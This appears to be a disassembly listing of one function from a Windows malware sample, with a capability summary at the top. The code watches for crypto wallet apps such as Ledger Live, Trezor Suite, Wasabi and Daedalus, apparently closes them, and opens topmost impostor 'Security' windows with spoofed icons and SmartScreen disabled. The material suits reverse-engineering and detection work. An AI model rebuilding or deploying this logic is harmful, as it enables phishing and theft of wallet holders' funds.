Function at 0x14000c180
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x230]
sub rsp, 0x330
mov rax, qword [0x14007b100]
xor rax, rsp
mov qword [rbp + 0x220], rax
mov dword [rsp + 0x68], r9d
mov rdi, rcx
mov qword [rbp - 0x20], rcx
xor ebx, ebx
mov esi, ebx
mov dword [rsp + 0x60], ebx
xorps xmm0, xmm0
movups xmmword [rbp + 0xa0], xmm0
movups xmmword [rbp + 0xb0], xmm0
movups xmmword [rbp + 0xc0], xmm0
movups xmmword [rbp + 0xd0], xmm0
lea rcx, [rbp + 0xa0]
call fcn.1400156d0
lea rcx, [rbp + 0xa0]
call fcn.1400079a0
lea rcx, [rbp + 0xa0]
call fcn.140008460
lea rcx, [rbp + 0xa0]
call fcn.140008810
mov dword [rsp + 0x70], 0x50
mov dword [rsp + 0x74], 3
lea rax, [0x140012340]
mov qword [rsp + 0x78], rax
mov qword [rbp - 0x80], rbx
mov qword [rbp - 0x78], rdi
mov edx, 0x7f00
mov rcx, rdi
call qword [sym.imp.USER32.dll_LoadIconA]
mov qword [rbp - 0x70], rax
mov edx, 0x7f00
xor ecx, ecx
call qword [sym.imp.USER32.dll_LoadCursorA]
mov qword [rbp - 0x68], rax
movdqa xmm0, xmmword [0x14006a3e0]
movdqa xmmword [rbp - 0x60], xmm0
lea r14, str.DesktopApp
mov qword [rbp - 0x50], r14
mov edx, 0x7f00
mov rcx, qword [rbp - 0x78]
call qword [sym.imp.USER32.dll_LoadIconA]
mov qword [rbp - 0x48], rax
lea rcx, [rsp + 0x70]
call qword [sym.imp.USER32.dll_RegisterClassExA]
test ax, ax
jne 0x14000c2dd
xor r9d, r9d
lea r8, str.Windows_Desktop_Guided_Tour
lea rdx, str.Call_to_RegisterClassEx_failed_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov eax, 1
mov rcx, qword [rbp + 0x220]
xor rcx, rsp
call fcn.14002f170
mov rbx, qword [rsp + 0x378]
add rsp, 0x330
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x40], rbx
mov dword [rsp + 0x38], 0x384
mov dword [rsp + 0x30], 0x4b0
mov dword [rsp + 0x28], 0x80000000
mov dword [rsp + 0x20], 0x80000000
mov r9d, 0xcf0000
lea r8, str.Security
mov rdx, r14
xor ecx, ecx
call qword [sym.imp.USER32.dll_CreateWindowExA]
mov rdi, rax
xor ecx, ecx
test rax, rax
jne 0x14000c349
xor r9d, r9d
lea r8, str.Windows_Desktop_Guided_Tour
lea rdx, str.Call_to_CreateWindow_failed_
jmp 0x14000c2a8
mov r8d, 0x104
lea rdx, [rbp + 0x110]
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xorps xmm0, xmm0
movups xmmword [rbp + 0xa0], xmm0
mov qword [rbp + 0xb0], rbx
mov qword [rbp + 0xb8], rbx
mov r8d, 1
lea rdx, [0x140067478]
lea rcx, [rbp + 0xa0]
call fcn.14000ab20
xorps xmm0, xmm0
movups xmmword [rbp + 0xc0], xmm0
mov qword [rbp + 0xd0], rbx
mov qword [rbp + 0xd8], rbx
mov r8d, 1
lea rdx, [0x140067784]
lea rcx, [rbp + 0xc0]
call fcn.14000ab20
mov dword [rsp + 0x30], 3
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
mov rdx, 0xffffffffffffffff
mov rcx, rdi
call qword [sym.imp.USER32.dll_SetWindowPos]
lea rcx, [rbp + 0x50]
call fcn.140003cf0
lea rcx, [rsp + 0x60]
call fcn.140003cf0
mov rax, qword [rsp + 0x60]
mov rdi, qword [rbp + 0x50]
sub rax, rdi
movabs rcx, 0x6fc23ac00
cmp rax, rcx
jge 0x14000f8c7
mov r13, qword [rbp + 0xb8]
mov r15, qword [rbp + 0xb0]
mov r12, qword [rbp + 0xa0]
nop dword [rax + rax]
lea rcx, [rbp + 0xa0]
cmp r13, 0xf
cmova rcx, r12
cmp r15, 1
jne 0x14000c9e7
mov r8, r15
lea rdx, [0x140067478]
call fcn.140057630
test eax, eax
jne 0x14000c9e7
cmp byte [0x1400885da], bl
jne 0x14000c496
cmp byte [0x1400885c5], bl
jne 0x14000c496
lea rdx, [0x140066240]
lea rcx, [rbp - 0x10]
call fcn.140016130
or esi, r15d
lea rcx, [rbp - 0x10]
call fcn.140009440
test eax, eax
je 0x14000c496
movzx r14d, r15b
jmp 0x14000c499
xor r14b, r14b
test sil, 1
je 0x14000c4f2
and esi, 0xfffffffe
mov rdx, qword [rbp + 8]
cmp rdx, 7
jbe 0x14000c4e2
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c4dd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000f907
call fcn.14002f190
mov qword [rbp], rbx
mov qword [rbp + 8], 7
mov word [rbp - 0x10], bx
test r14b, r14b
jne 0x14000f391
cmp byte [0x1400885dc], bl
jne 0x14000c530
cmp byte [0x1400885d1], bl
jne 0x14000c530
lea rdx, str.Ledger_Live.exe
lea rcx, [rbp - 0x40]
call fcn.140016130
or esi, 2
lea rcx, [rbp - 0x40]
call fcn.140009440
test eax, eax
je 0x14000c530
mov r14b, 1
jmp 0x14000c533
xor r14b, r14b
test sil, 2
je 0x14000c58c
and esi, 0xfffffffd
mov rdx, qword [rbp - 0x28]
cmp rdx, 7
jbe 0x14000c57c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c577
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000f907
call fcn.14002f190
mov qword [rbp - 0x30], rbx
mov qword [rbp - 0x28], 7
mov word [rbp - 0x40], bx
test r14b, r14b
jne 0x14000eee7
cmp byte [0x1400885d9], bl
jne 0x14000c5ca
cmp byte [0x1400885d8], bl
jne 0x14000c5ca
lea rdx, [0x140066290]
lea rcx, [rbp - 0x40]
call fcn.140016130
or esi, 4
lea rcx, [rbp - 0x40]
call fcn.140009440
test eax, eax
je 0x14000c5ca
mov r14b, 1
jmp 0x14000c5cd
xor r14b, r14b
test sil, 4
je 0x14000c626
and esi, 0xfffffffb
mov rdx, qword [rbp - 0x28]
cmp rdx, 7
jbe 0x14000c616
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c611
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000f907
call fcn.14002f190
mov qword [rbp - 0x30], rbx
mov qword [rbp - 0x28], 7
mov word [rbp - 0x40], bx
test r14b, r14b
jne 0x14000e9ef
cmp byte [0x1400885dd], bl
jne 0x14000c664
cmp byte [0x1400885c0], bl
jne 0x14000c664
lea rdx, str.BitBox.exe
lea rcx, [rbp - 0x40]
call fcn.140016130
or esi, 8
lea rcx, [rbp - 0x40]
call fcn.140009440
test eax, eax
je 0x14000c664
mov r14b, 1
jmp 0x14000c667
xor r14b, r14b
test sil, 8
je 0x14000c6c0
and esi, 0xfffffff7
mov rdx, qword [rbp - 0x28]
cmp rdx, 7
jbe 0x14000c6b0
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c6ab
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000f907
call fcn.14002f190
mov qword [rbp - 0x30], rbx
mov qword [rbp - 0x28], 7
mov word [rbp - 0x40], bx
test r14b, r14b
jne 0x14000e546
cmp byte [0x1400885c1], bl
jne 0x14000c6fe
cmp byte [0x1400885c4], bl
jne 0x14000c6fe
lea rdx, str.Trezor_Suite.exe
lea rcx, [rbp - 0x40]
call fcn.140016130
or esi, 0x10
lea rcx, [rbp - 0x40]
call fcn.140009440
test eax, eax
je 0x14000c6fe
mov r14b, 1
jmp 0x14000c701
xor r14b, r14b
test sil, 0x10
je 0x14000c75a
and esi, 0xffffffef
mov rdx, qword [rbp - 0x28]
cmp rdx, 7
jbe 0x14000c74a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c745
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000f907
call fcn.14002f190
mov qword [rbp - 0x30], rbx
mov qword [rbp - 0x28], 7
mov word [rbp - 0x40], bx
test r14b, r14b
jne 0x14000e014
cmp byte [0x1400885d7], bl
jne 0x14000c790
cmp byte [0x1400885d3], bl
jne 0x14000c790
or esi, 0x20
lea rcx, [rbp - 0x40]
call fcn.140009060
mov rcx, rax
call fcn.140009440
test eax, eax
je 0x14000c790
mov r14b, 1
jmp 0x14000c793
xor r14b, r14b
test sil, 0x20
je 0x14000c7ec
and esi, 0xffffffdf
mov rdx, qword [rbp - 0x28]
cmp rdx, 7
jbe 0x14000c7dc
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c7d7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000f90d
call fcn.14002f190
mov qword [rbp - 0x30], rbx
mov qword [rbp - 0x28], 7
mov word [rbp - 0x40], bx
test r14b, r14b
jne 0x14000dc17
cmp byte [0x1400885d4], bl
jne 0x14000c82a
cmp byte [0x1400885db], bl
jne 0x14000c82a
lea rdx, str.Coinomi.exe
lea rcx, [rbp - 0x40]
call fcn.140016130
or esi, 0x40
lea rcx, [rbp - 0x40]
call fcn.140009440
test eax, eax
je 0x14000c82a
mov r14b, 1
jmp 0x14000c82d
xor r14b, r14b
test sil, 0x40
je 0x14000c83f
and esi, 0xffffffbf
lea rcx, [rbp - 0x40]
call fcn.1400160c0
test r14b, r14b
jne 0x14000d95a
cmp byte [0x1400885c7], bl
jne 0x14000c87e
cmp byte [0x1400885d0], bl
jne 0x14000c87e
lea rdx, str.Guarda.exe
lea rcx, [rbp - 0x40]
call fcn.140016130
bts esi, 7
lea rcx, [rbp - 0x40]
call fcn.140009440
test eax, eax
je 0x14000c87e
mov r14b, 1
jmp 0x14000c881
xor r14b, r14b
test sil, sil
jns 0x14000c893
btr esi, 7
lea rcx, [rbp - 0x40]
call fcn.1400160c0
test r14b, r14b
jne 0x14000d69d
cmp byte [0x1400885d6], bl
jne 0x14000c8d2
cmp byte [0x1400885c3], bl
jne 0x14000c8d2
lea rdx, str.monero_wallet_gui.exe
lea rcx, [rbp - 0x40]
call fcn.140016130
bts esi, 8
lea rcx, [rbp - 0x40]
call fcn.140009440
test eax, eax
je 0x14000c8d2
mov r14b, 1
jmp 0x14000c8d5
xor r14b, r14b
bt esi, 8
jae 0x14000c8e8
btr esi, 8
lea rcx, [rbp - 0x40]
call fcn.1400160c0
test r14b, r14b
jne 0x14000d407
cmp byte [0x1400885d5], bl
jne 0x14000c927
cmp byte [0x1400885d2], bl
jne 0x14000c927
lea rdx, str.wassabee.exe
lea rcx, [rbp - 0x40]
call fcn.140016130
bts esi, 9
lea rcx, [rbp - 0x40]
call fcn.140009440
test eax, eax
je 0x14000c927
mov r14b, 1
jmp 0x14000c92a
xor r14b, r14b
bt esi, 9
jae 0x14000c93d
btr esi, 9
lea rcx, [rbp - 0x40]
call fcn.1400160c0
test r14b, r14b
jne 0x14000d148
cmp byte [0x1400885de], bl
jne 0x14000c97c
cmp byte [0x1400885c2], bl
jne 0x14000c97c
lea rdx, [0x140066388]
lea rcx, [rbp - 0x40]
call fcn.140016130
bts esi, 0xa
lea rcx, [rbp - 0x40]
call fcn.140009440
test eax, eax
je 0x14000c97c
mov r14b, 1
jmp 0x14000c97f
xor r14b, r14b
bt esi, 0xa
jae 0x14000c992
btr esi, 0xa
lea rcx, [rbp - 0x40]
call fcn.1400160c0
test r14b, r14b
jne 0x14000ce8e
cmp byte [0x1400885c1], bl
jne 0x14000c9e7
cmp byte [0x1400885c6], bl
jne 0x14000c9e7
lea rdx, str.Trezor_Suite___Google_Chrome
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
jne 0x14000cc19
cmp byte [0x1400885c1], bl
jne 0x14000c9e7
cmp byte [0x1400885c6], bl
jne 0x14000c9e7
lea rdx, [0x140065f98]
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
jne 0x14000ca11
lea rcx, [rsp + 0x60]
call fcn.140003cf0
mov rax, qword [rsp + 0x60]
sub rax, rdi
movabs rcx, 0x6fc23ac00
cmp rax, rcx
jge 0x14000f8c7
jmp 0x14000c430
lea rdx, [0x140088628]
lea rcx, [rbp - 0x10]
call fcn.1400164b0
mov rsi, rax
lea rdx, str.Opened
lea rcx, [rbp - 0x40]
call fcn.14000aae0
mov rdi, rax
lea rdx, str.Trezor_Suite__Firefox_
lea rcx, [rbp + 0x30]
call fcn.14000aae0
mov r8, rsi
mov rdx, rdi
mov rcx, rax
call fcn.1400096f0
lea rdx, str.TrezorWActive
lea rcx, [rbp - 0x10]
call fcn.14000aae0
mov r8b, 1
lea rdx, [rbp - 0x10]
call fcn.1400083a0
lea rcx, [rbp - 0x10]
call fcn.140008930
mov byte [0x1400885c1], 1
lea rdx, str.firefox.exe
lea rcx, [rbp - 0x10]
call fcn.140016130
mov rcx, rax
call fcn.14000a930
mov qword [rsp + 0x58], rbx
mov rax, qword [rbp - 0x20]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x40], rbx
mov dword [rsp + 0x38], 0x384
mov dword [rsp + 0x30], 0x4b0
mov dword [rsp + 0x28], 0x80000000
mov dword [rsp + 0x20], 0x80000000
mov r9d, 0x80000000
lea r8, str.Security
lea rdx, str.DesktopApp
xor ecx, ecx
call qword [sym.imp.USER32.dll_CreateWindowExA]
mov rdi, rax
lea rdx, [0x140065f98]
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x14000caf0
mov qword [rbp + 0x50], rdi
lea rdx, [rbp + 0x50]
lea rcx, [rbp + 0x10]
call fcn.14001ee10
lea rcx, [rbp + 0x10]
call fcn.140003e70
cmp dword [rbp + 0x18], ebx
jne 0x14000f913
mov edx, 0xffffffec
mov rcx, rdi
call qword [sym.imp.USER32.dll_GetWindowLongA]
bts eax, 7
mov r8d, eax
mov edx, 0xffffffec
mov rcx, rdi
call qword [sym.imp.USER32.dll_SetWindowLongA]
mov rcx, rdi
call qword [sym.imp.USER32.dll_UpdateWindow]
mov dword [rsp + 0x30], 3
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
mov rdx, 0xffffffffffffffff
mov rcx, rdi
call qword [sym.imp.USER32.dll_SetWindowPos]
lea rcx, [rbp - 0x20]
call fcn.140011e90
lea rcx, [rbp - 0x20]
call fcn.14001e8e0
mov rbx, qword [rbp - 0x20]
mov rax, qword [rbx]
lea rdx, str.__disable_featuresmsSmartScreenProtection
mov rcx, rbx
call qword [rax + 0x20]
mov qword [rbp + 0x50], rdi
lea rdx, [rbp + 0x50]
lea rcx, [rsp + 0x60]
call fcn.14001efd0
mov r9, qword [rax]
mov r8, rbx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.WebView2Loader.dll_CreateCoreWebView2EnvironmentWithOptions]
lea rcx, [rsp + 0x60]
call fcn.1400140b0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x70]
call qword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
je 0x14000ce67
call fcn.14000ac20
lea rcx, [rbp + 0x70]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0x70]
call qword [sym.imp.USER32.dll_DispatchMessageA]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x70]
call qword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
jne 0x14000cbe5
jmp 0x14000ce67
lea rdx, [0x140088628]
lea rcx, [rbp - 0x10]
call fcn.1400164b0
mov rsi, rax
lea rdx, str.Opened
lea rcx, [rbp - 0x40]
call fcn.14000aae0
mov rdi, rax
lea rdx, str.Trezor_Suite__Chrome_
lea rcx, [rbp + 0x30]
call fcn.14000aae0
mov r8, rsi
mov rdx, rdi
mov rcx, rax
call fcn.1400096f0
lea rdx, str.TrezorWActive
lea rcx, [rbp - 0x10]
call fcn.14000aae0
mov r8b, 1
lea rdx, [rbp - 0x10]
call fcn.1400083a0
lea rcx, [rbp - 0x10]
call fcn.140008930
mov byte [0x1400885c1], 1
lea rdx, str.chrome.exe
lea rcx, [rbp - 0x10]
call fcn.140016130
mov rcx, rax
call fcn.14000a930
mov qword [rsp + 0x58], rbx
mov rax, qword [rbp - 0x20]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x40], rbx
mov dword [rsp + 0x38], 0x384
mov dword [rsp + 0x30], 0x4b0
mov dword [rsp + 0x28], 0x80000000
mov dword [rsp + 0x20], 0x80000000
mov r9d, 0x80000000
lea r8, str.Security
lea rdx, str.DesktopApp
xor ecx, ecx
call qword [sym.imp.USER32.dll_CreateWindowExA]
mov rdi, rax
xor sil, sil
xor r14b, r14b
nop
test r14b, r14b
jne 0x14000cd7e
lea rdx, [0x140065f98]
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x14000cd3f
mov sil, 1
mov qword [rbp + 0x50], rdi
lea rdx, [rbp + 0x50]
lea rcx, [rbp + 0x10]
call fcn.14001ee10
lea rcx, [rbp + 0x10]
call fcn.140003e70
cmp dword [rbp + 0x18], ebx
jne 0x14000f919
lea rdx, str.Trezor_Suite___Google_Chrome
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x14000cd79
mov r14b, 1
mov qword [rbp + 0x50], rdi
lea rdx, [rbp + 0x50]
lea rcx, [rbp - 0x20]
call fcn.14001eea0
lea rcx, [rbp - 0x20]
call fcn.140003e70
cmp dword [rbp - 0x18], ebx
jne 0x14000f91f
test sil, sil
je 0x14000cd00
mov edx, 0xffffffec
mov rcx, rdi
call qword [sym.imp.USER32.dll_GetWindowLongA]
bts eax, 7
mov r8d, eax
mov edx, 0xffffffec
mov rcx, rdi
call qword [sym.imp.USER32.dll_SetWindowLongA]
mov rcx, rdi
call qword [sym.imp.USER32.dll_UpdateWindow]
mov dword [rsp + 0x30], 3
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
mov rdx, 0xffffffffffffffff
mov rcx, rdi
call qword [sym.imp.USER32.dll_SetWindowPos]
lea rcx, [rbp - 0x20]
call fcn.140011e90
lea rcx, [rbp - 0x20]
call fcn.14001e8e0
mov rbx, qword [rbp - 0x20]
mov rax, qword [rbx]
lea rdx, str.__disable_featuresmsSmartScreenProtection
mov rcx, rbx
call qword [rax + 0x20]
mov qword [rbp + 0x50], rdi
lea rdx, [rbp + 0x50]
lea rcx, [rsp + 0x60]
call fcn.14001ef30
mov r9, qword [rax]
mov r8, rbx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.WebView2Loader.dll_CreateCoreWebView2EnvironmentWithOptions]
lea rcx, [rsp + 0x60]
call fcn.1400140b0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x70]
call qword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
je 0x14000ce67
call fcn.14000ac20
lea rcx, [rbp + 0x70]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0x70]
call qword [sym.imp.USER32.dll_DispatchMessageA]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x70]
call qword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
jne 0x14000ce38
call fcn.1400147c0
mov ebx, dword [rbp + 0x80]
lea rcx, [rbp - 0x20]
call fcn.1400140b0
lea rcx, [rbp + 0xa0]
call fcn.140011de0
mov eax, ebx
jmp 0x14000c2b3
lea rdx, [0x140088628]
lea rcx, [rbp - 0x10]
call fcn.1400164b0
mov rsi, rax
lea rdx, str.Opened
lea rcx, [rbp + 0x30]
call fcn.14000aae0
mov rdi, rax
lea rdx, str.Daedalus
lea rcx, [rbp + 0x50]
call fcn.14000aae0
mov r8, rsi
mov rdx, rdi
mov rcx, rax
call fcn.1400096f0
lea rdx, str.DaedalusActive
lea rcx, [rbp - 0x10]
call fcn.14000aae0
mov r8b, 1
lea rdx, [rbp - 0x10]
call fcn.1400083a0
lea rcx, [rbp - 0x10]
call fcn.140008930
mov byte [0x1400885de], 1
lea rdx, [0x140066388]
lea rcx, [rbp - 0x10]
call fcn.140016130
mov rcx, rax
call fcn.14000a930
lea rdx, str.Daedalus_Mainnet.exe
mov qword [rbp + 0x50], rdx
lea r8, str.Daedalus_Mainnet
lea rcx, [rbp - 0x40]
call fcn.14000beb0
lea r8, [rbp + 0x50]
lea rdx, [0x14000bd40]
lea rcx, [rbp + 0x10]
call fcn.14001e840
lea rcx, [rbp + 0x10]
call fcn.140003e70
mov qword [rsp + 0x58], rbx
mov rax, qword [rbp - 0x20]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x40], rbx
mov dword [rsp + 0x38], 0x49c
mov dword [rsp + 0x30], 0x6a4
mov dword [rsp + 0x28], 0x80000000
mov dword [rsp + 0x20], 0x80000000
mov r9d, 0xcf0000
lea r8, str.Daedalus_Mainnet__Security
lea rdx, str.DesktopApp
xor ecx, ecx
call qword [sym.imp.USER32.dll_CreateWindowExA]
mov rdi, rax
mov edx, 0xffffffec
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowLongA]
mov r8d, eax
mov edx, 0xffffffec
mov rcx, rdi
call qword [sym.imp.USER32.dll_SetWindowLongA]
mov dword [rsp + 0x30], 3
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
mov rdx, 0xffffffffffffffff
mov rcx, rdi
call qword [sym.imp.USER32.dll_SetWindowPos]
lea rcx, [rbp - 0x20]
call fcn.140011e90
lea rcx, [rbp - 0x20]
call fcn.14001e8e0
mov rbx, qword [rbp - 0x20]
mov rax, qword [rbx]
lea rdx, str.__disable_featuresmsSmartScreenProtection
mov rcx, rbx
call qword [rax + 0x20]
mov dword [rsp + 0x28], 0x10
mov dword [rsp + 0x20], 0x20
mov r9d, 0x20
mov r8d, 1
lea rdx, str.C:ProgramDataDirecticonsdeadulus.ico
xor ecx, ecx
call qword [sym.imp.USER32.dll_LoadImageA]
mov rsi, rax
test rax, rax
je 0x14000d070
mov r9, rax
mov edx, 0x80
mov r8d, 1
mov rcx, rdi
call qword [sym.imp.USER32.dll_SendMessageA]
mov r9, rsi
xor r8d, r8d
mov edx, 0x80
mov rcx, rdi
call qword [sym.imp.USER32.dll_SendMessageA]
jmp 0x14000d08c
mov r9d, 0x10
lea r8, str.Error
lea rdx, str.Error_loading_icon
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov edx, dword [rsp + 0x68]
mov rcx, rdi
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, rdi
call qword [sym.imp.USER32.dll_UpdateWindow]
mov qword [rbp + 0x50], rdi
lea rdx, [rbp + 0x50]
lea rcx, [rsp + 0x60]
call fcn.14001ed70
mov r9, qword [rax]
mov r8, rbx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.WebView2Loader.dll_CreateCoreWebView2EnvironmentWithOptions]
lea rcx, [rsp + 0x60]
call fcn.1400140b0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x70]
call qword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
je 0x14000d113
call fcn.14000ac20
lea rcx, [rbp + 0x70]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0x70]
call qword [sym.imp.USER32.dll_DispatchMessageA]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x70]
call qword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
jne 0x14000d0e4
mov ebx, dword [rbp + 0x80]
lea rcx, [rbp - 0x20]
call fcn.1400140b0
cmp dword [rbp + 0x18], 0
jne 0x14000f925
lea rcx, [rbp - 0x40]
call fcn.140008930
lea rcx, [rbp + 0xa0]
call fcn.140011de0
mov eax, ebx
jmp 0x14000c2b3
lea rdx, [0x140088628]
lea rcx, [rbp - 0x10]
call fcn.1400164b0
mov rsi, rax
lea rdx, str.Opened
lea rcx, [rbp - 0x40]
call fcn.14000aae0
mov rdi, rax
lea rdx, str.Wasabi
lea rcx, [rbp + 0x50]
call fcn.14000aae0
mov r8, rsi
mov rdx, rdi
mov rcx, rax
call fcn.1400096f0
lea rdx, str.WasabiActive
lea rcx, [rbp - 0x10]
call fcn.14000aae0
mov r8b, 1
lea rdx, [rbp - 0x10]
call fcn.1400083a0
lea rcx, [rbp - 0x10]
call fcn.140008930
mov byte [0x1400885d5], 1
lea rdx, str.wassabee.exe
lea rcx, [rbp - 0x10]
call fcn.140016130
mov rcx, rax
call fcn.14000a930
lea rax, [0x1400676f0]
mov qword [rsp + 0x60], rax
lea r8, [rsp + 0x60]
lea rdx, [fcn.14000ba60]
lea rcx, [rbp + 0x30]
call fcn.14001e840
lea rcx, [rbp + 0x30]
call fcn.140003e70
mov qword [rsp + 0x58], rbx
mov rax, qword [rbp - 0x20]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x40], rbx
mov dword [rsp + 0x38], 0x44c
mov dword [rsp + 0x30], 0x514
mov dword [rsp + 0x28], 0x80000000
mov dword [rsp + 0x20], 0x80000000
mov r9d, 0xcf0000
lea r8, str.Wasabi_Wallet
lea rdx, str.DesktopApp
xor ecx, ecx
call qword [sym.imp.USER32.dll_CreateWindowExA]
mov rdi, rax
lea r8, [rsp + 0x60]
lea rdx, [0x14000aa70]
lea rcx, [rbp + 0x10]
call fcn.14001e840
lea rcx, [rbp + 0x10]
call fcn.140003e70
mov edx, 0xffffffec
mov rcx, rdi
call qword [sym.imp.USER32.dll_GetWindowLongA]
mov r8d, eax
mov edx, 0xffffffec
mov rcx, rdi
call qword [sym.imp.USER32.dll_SetWindowLongA]
mov dword [rsp + 0x30], 3
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
mov rdx, 0xffffffffffffffff
mov rcx, rdi
call qword [sym.imp.USER32.dll_SetWindowPos]
lea rcx, [rbp - 0x20]
call fcn.140011e90
lea rcx, [rbp - 0x20]
call fcn.14001e8e0
mov rbx, qword [rbp - 0x20]
mov rax, qword [rbx]
lea rdx, str.__disable_featuresmsSmartScreenProtection
mov rcx, rbx
call qword [rax + 0x20]
mov dword [rsp + 0x28], 0x10
mov dword [rsp + 0x20], 0x20
mov r9d, 0x20
mov r8d, 1
lea rdx, str.C:ProgramDataDirecticonswasabi.ico
xor ecx, ecx
call qword [sym.imp.USER32.dll_LoadImageA]
mov rsi, rax
test rax, rax
je 0x14000d33a
mov r9, rax
mov edx, 0x80
mov r8d, 1
mov rcx, rdi
call qword [sym.imp.USER32.dll_SendMessageA]
mov r9, rsi
xor r8d, r8d
mov edx, 0x80
mov rcx, rdi
call qword [sym.imp.USER32.dll_SendMessageA]
jmp 0x14000d356
mov r9d, 0x10
lea r8, str.Error
lea rdx, str.Error_loading_icon
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov edx, dword [rsp + 0x68]
mov rcx, rdi
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, rdi
call qword [sym.imp.USER32.dll_UpdateWindow]
mov qword [rbp + 0x50], rdi
lea rdx, [rbp + 0x50]
lea rcx, [rsp + 0x60]
call fcn.14001ecd0
mov r9, qword [rax]
mov r8, rbx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.WebView2Loader.dll_CreateCoreWebView2EnvironmentWithOptions]
lea rcx, [rsp + 0x60]
call fcn.1400140b0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x70]
call qword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
je 0x14000d3df
nop
call fcn.14000ac20
lea rcx, [rbp + 0x70]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0x70]
call qword [sym.imp.USER32.dll_DispatchMessageA]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x70]
call qword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
jne 0x14000d3b0
mov ebx, dword [rbp + 0x80]
lea rcx, [rbp - 0x20]
call fcn.1400140b0
cmp dword [rbp + 0x18], 0
jne 0x14000f8cf
cmp dword [rbp + 0x38], 0
jne 0x14000f8cf
jmp 0x14000e001
lea rdx, [0x140088628]
lea rcx, [rbp - 0x10]
call fcn.1400164b0
mov rsi, rax
lea rdx, str.Opened
lea rcx, [rbp - 0x40]
call fcn.14000aae0
mov rdi, rax
